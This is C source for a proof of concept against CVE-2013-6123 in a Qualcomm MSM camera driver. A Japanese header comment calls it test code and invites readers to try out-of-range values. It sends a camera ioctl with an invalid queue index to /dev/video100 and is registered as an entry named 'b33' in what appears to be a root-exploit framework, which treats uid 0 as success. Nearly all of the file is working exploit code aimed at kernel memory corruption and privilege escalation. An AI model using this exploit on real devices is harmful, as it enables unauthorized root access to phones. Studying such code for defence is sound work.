/*
CVE-2013-6123 のテストコード。
u_isp_event.isp_data.ctrl.queue_idx = 3
の値を0～2以外にして遊んでみてください。
*/
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <errno.h>
#include <sys/ioctl.h>

#include "log.h"
#include "exploit.h"

#define DEVVIDEO "/dev/video100"
#define BASE_VIDIOC_PRIVATE 192 /* 192-255 are private */
#define MSM_CAM_V4L2_IOCTL_GET_EVENT_PAYLOAD \
_IOWR('V', BASE_VIDIOC_PRIVATE + 5, struct msm_camera_v4l2_ioctl_t)

#define MAX_PLANES 8

struct msm_camera_v4l2_ioctl_t {
	uint32_t id;
	uint32_t len;
	int32_t trans_code;
	void __user *ioctl_ptr;
};

struct msm_ctrl_cmd {
	uint16_t type;
	uint16_t length;
	void *value;
	uint16_t status;
	uint32_t timeout_ms;
	int resp_fd; /* FIXME: to be used by the kernel, pass-through for now */
	int vnode_id; /* video dev id. Can we overload resp_fd? */
	int queue_idx;
	uint32_t evt_id;
	uint32_t stream_type; /* used to pass value to qcamera server */
	int config_ident; /*used as identifier for config node*/
};

struct msm_cam_evt_msg {
	unsigned short type; /* 1 == event (RPC), 0 == message (adsp) */
	unsigned short msg_id;
	unsigned int len; /* size in, number of bytes out */
	uint32_t frame_id;
	void *data;
	struct timespec timestamp;
};

struct msm_pp_frame_sp {
	/* phy addr of the buffer */
	unsigned long phy_addr;
	uint32_t y_off;
	uint32_t cbcr_off;
	/* buffer length */
	uint32_t length;
	int32_t fd;
	uint32_t addr_offset;
	/* mapped addr */
	unsigned long vaddr;
};

struct msm_pp_frame_mp {
	/* phy addr of the plane */
	unsigned long phy_addr;
	/* offset of plane data */
	uint32_t data_offset;
	/* plane length */
	uint32_t length;
	int32_t fd;
	uint32_t addr_offset;
	/* mapped addr */
	unsigned long vaddr;
};

struct msm_pp_frame {
	uint32_t handle; /* stores vb cookie */
	uint32_t frame_id;
	unsigned short buf_idx;
	int path;
	unsigned short image_type;
	unsigned short num_planes; /* 1 for sp */
	struct timeval timestamp;
	union {
		struct msm_pp_frame_sp sp;
		struct msm_pp_frame_mp mp[MAX_PLANES];
	};
	int node_type;
	uint32_t inst_handle;
};

struct msm_cam_evt_divert_frame {
	unsigned short image_mode;
	unsigned short op_mode;
	unsigned short inst_idx;
	unsigned short node_idx;
	struct msm_pp_frame frame;
	int do_pp;
};

struct msm_mctl_pp_cmd_ack_event {
	uint32_t cmd; /* VPE_CMD_ZOOM? */
	int status; /* 0 done, < 0 err */
	uint32_t cookie; /* daemon's cookie */
};

struct msm_mctl_pp_event_info {
	int32_t event;
	union {
		struct msm_mctl_pp_cmd_ack_event ack;
	};
};

struct msm_isp_event_ctrl {
	unsigned short resptype;
	union {
		struct msm_cam_evt_msg isp_msg;
		struct msm_ctrl_cmd ctrl;
		struct msm_cam_evt_divert_frame div_frame;
		struct msm_mctl_pp_event_info pp_event_info;
	} isp_data;
};

int attack_msm_cam_server() {
	int fd0, fd;
	int ret;
	struct msm_camera_v4l2_ioctl_t arg;
	struct msm_isp_event_ctrl u_isp_event;
	fd = open(DEVVIDEO, O_RDONLY);
	if (fd < 0) {
		fprintf(stderr, "%s open error %s.\n", DEVVIDEO, strerror(errno));
		return -1;
	}
	fprintf(stderr, "%s open OK!\n", DEVVIDEO);
	u_isp_event.isp_data.ctrl.queue_idx = 3;
	arg.ioctl_ptr = (void *) &u_isp_event;
	ret = ioctl(fd, MSM_CAM_V4L2_IOCTL_GET_EVENT_PAYLOAD, &arg);
	if (ret < 0) {
		fprintf(stderr, "ioctl error: %s.\n", strerror(errno));
	}
	close(fd);
	return 0;
}

//int main(int argc, char **argv) {
/**
 * return 0 for success
 * */
int b33() {
	attack_msm_cam_server();

	return (getuid() == 0) ? 0 : 1;
}

exploit_t EXPLOIT_b33 = {
    .name = "b33",
    .call_direct = b33,
};


void exploit_init(exploit_t **list) {
    int i = 0;
    int size = 0;
    exploit_t *exp = 0, *tmp;

    ADDEXP(b33);

    *list = exp;
}

